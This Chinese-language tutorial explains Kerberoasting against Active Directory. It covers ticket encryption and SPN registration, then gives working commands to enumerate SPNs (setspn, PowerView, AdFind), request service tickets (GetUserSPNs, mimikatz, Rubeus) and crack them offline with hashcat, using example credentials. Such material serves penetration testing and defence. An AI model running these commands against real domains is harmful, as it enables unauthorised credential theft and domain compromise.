Kerberoasting攻击原理
Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在DerbyCon 2014上发布的一种域口令攻击方 法,Tim Medin 同时发布了配套的攻击工具kerberoast。此后,不少研究人员对Kerberoasting 进行了改进和扩 展,在GitHub上开发发布了大量工具,使得Kerberoasting 逐渐发展成为域攻击的常用方法之一。Kerberoast攻击是在TGS_REP的过程(也就是返回ST票据时)中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。
Kerberoasting攻击发生的阶段TGS-REP:
TGS-REP:
ST票据的加密是使用的AES256,这种加密不好进行破解,但是我们可以通过将算法变成RC4_HMAC_MD5就就比较容易破解。
TGS收到用户的TGT之后做出的动作:
TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务(就是查询SPN值)
如果服务存在,则通过krbtgt用户的NTML hash值进行解密TGT并得到(CT_SK)Login Session key
解密成功后使用CT_SK解密SK加密内容,然后检查里面的数据
解密TGT之后的动作:
使用CT_SK加密CS_SK(Service Session key)(也就是最外层的enc-part部分)
ST包含客户端用户信息和原始CS_SK,整个ST票据用该服务的NTLM Hash进行加密。
而可以使用Kerberoasting进行攻击的原理:
ST票据的加密方式没有强制采用AES256,可以使用MD5的加密方式
在TGS认证TGT的时候,不管提供的用户是否具有访问服务的权限都会返回目标服务的ST票据
SPN
服务主体名称SPN(Server principal Name SPN),是服务实例(可以理解为一个服务,比如HTTP、 MSSQL)的唯一标识符。Kerberos 身份验证使用SPN将服务实例与服务帐户相关联。在域中如果有多个服务,每个服务必须有自己的SPN和用户,一个用户可以有多个SPN,但是SPN只能对应一个用户,SPN必须注册的用户下
SPN的格式:
<service class>/<host>:<port><service name>
SPN中<service class>/<host>
是必要的,<port><service name>
是非必要的。
Service class
:服务类如HOST、CIFS、LDAP、HTTP等。
host
:服务所在的主机名计算机hostname命令输出的值加上域名后缀ls-pc.abc.com
。
例如一个ls-pc
这个在域abc.com
中的机器有一个MSSQLSvc
服务,则它的SPN值:MSSQLSvc/ls-pc.abc.com
SPN分类
1、注册在机器账户下
电脑加入域之后,机器用户会同步到域控(主机名$),什么样子的服务会注册到这个账户呢?服务权限为local system 或者Network service时,比如HOST服务(其中的SPN<serviceclass>/<host>) 查询SPN命令:setspn -Q */*
2、注册在域用户下
SPN可以注册在域中的用户,默认只有机器用户或者域管理员用户才有权限去注册SPN(将服务注册在用户的权限),域中的普通用户如果要注册需要修改权限(一般默认的一些工具软件会注册到机器用户下)
SPN注意事项
在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并写注册到用户上。
注册SPN有两种方法:
系统自动完成注册比如安装EX邮箱,SQL等。
手动注册,可以根据SPN的格式进行手动注册。
在注册SPN的时候只有机器用户或者管理员用户才有权限。
注册SPN
1、注册在域用户下
注册一个SPN是HTTP服务,对应的电脑是ls-pc,注册在ls用户下
命令:setspn -U -S HTTP/ls-pc.abc.com:80 ls
2、注册在机器用户下
将HTTP服务注册到当前机器用户下
命令:setspn -C -S HTTP/ls-pc.abc.com:81 [当前用户名]
Server Hash
A电脑提供TGT和需要访问的服务 SPN
TGS检查服务名和对应SPN值
TGS发现SPN中对应的机器名,如机器名ls-pc.abc.com:80
SPN对应的用户是的域用户,则对应的域用户ls-pc
则生成ST票据(使用ls-pc这个域用户的Hash值进行加密票据)
注:User对应的是域用户,Computer对应的是机器用户。
SPN探测技术
在控制了一台内网主机的时候,我们可以探测域中注册的SPN,原理上还是使用LDAP协议进查询,这里主要分为域内主机和非域内主机进行探测
域内SPN探测技术
1、使用setspn命令
setspn -Q */*
查询所有的SPN
setspn -T abc.com -Q */*
查询指定域内的SPN
2、使用PowerView的Powershell脚本
import-Module .\powerview.ps1
Get-NetUser -SPN
3、使用Adfind工具进行查询
工具地址:
命令:
Adfind.exe -b "dc=abc,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName
探索高权限SPN值:
.\Adfind.exe -b "dc=abc,dc=com" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
非域内SPN探测技术
对于非域内的主机,可以通过Adfind来进行探测,但是必须提供一个域中的账号密码。
命令:
.\Adfind.exe -h 192.168.40.10:389 -u abc/ww -up Admin@333 -f "&(servicePrincipalName=*)" servicePrincipalName
#获取高权限的SPN值
.\Adfind.exe -h 192.168.40.10:389 -u abc/ww -up Admin@333 -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
这里-h
对应的192.168.40.10
为域控地址,abc
为域,ww
为域用户,-up
后是对应的账号密码
获取SPN服务票据
GetUserSPNs.exe
工具地址:https://github.com/maaaaz/impacket-examples-windows,其实就是impacket工具包
在域内和非域内的主机都可以使用GetUserSPNs.exe这个工具来获取域内的SPN的服务票据
命令:
.\GetUserSPNs.exe -request -dc-ip 192.168.40.10 abc.com/ww:Admin@333 -outputfile 1.txt
#或获取指定用户的SPN值的凭证
.\GetUserSPNs.exe -request -dc-ip 192.168.40.10 abc.com/ww:Admin@333 -outputfile 1.txt -user ls
mimikatz
命令:
kerberos::ask /target:HTTP/ww.abc.com #申请票据
kerberos:list /export #导出所有票据
Rubeus
工具地址:https://github.com/GhostPack/Rubeus,需要自行编译
需要一定环境.NET Framework3.5的环境
命令:
.\Rubeus.exe kerberoast /format:john /outfile:2.txt
破解获取的凭证
因为获取的ST因工具的不同有Kirbi格式的也有hash格式的使用不同的工具进行破解
gtsrepcrack.py
破解kirbi格式的票据凭证密码
方法1
破解mimikatz
导出的票据使用tgsrepcrack
脚本,该脚本使用python3
进行执行
脚本地址:https://github.com/4ESTSEC/kerberoasting/blob/main/tgsrepcrack.py
下载整个项目文件夹,然后执行如下命令:
命令:python tgsrepcrack.py 密码字典 票据
方法2
使用kirbi2john.py
(python3)脚本将kirbi票据转化成hash值,然后再使用hashcat进行破解
kirbi2john.py
地址:https://github.com/openwall/john/blob/bleeding-jumbo/run/kirbi2john.py
将生成的hash值保存在文件中,然后使用hashcat进行破解密码
HashCat
这里使用HashCat工具进行破解Hash格式的
hashcat -m 13100 hash pass --force
解密后的结果都会存在当前hachcat
文件夹下的hashcat.potfile
文件中。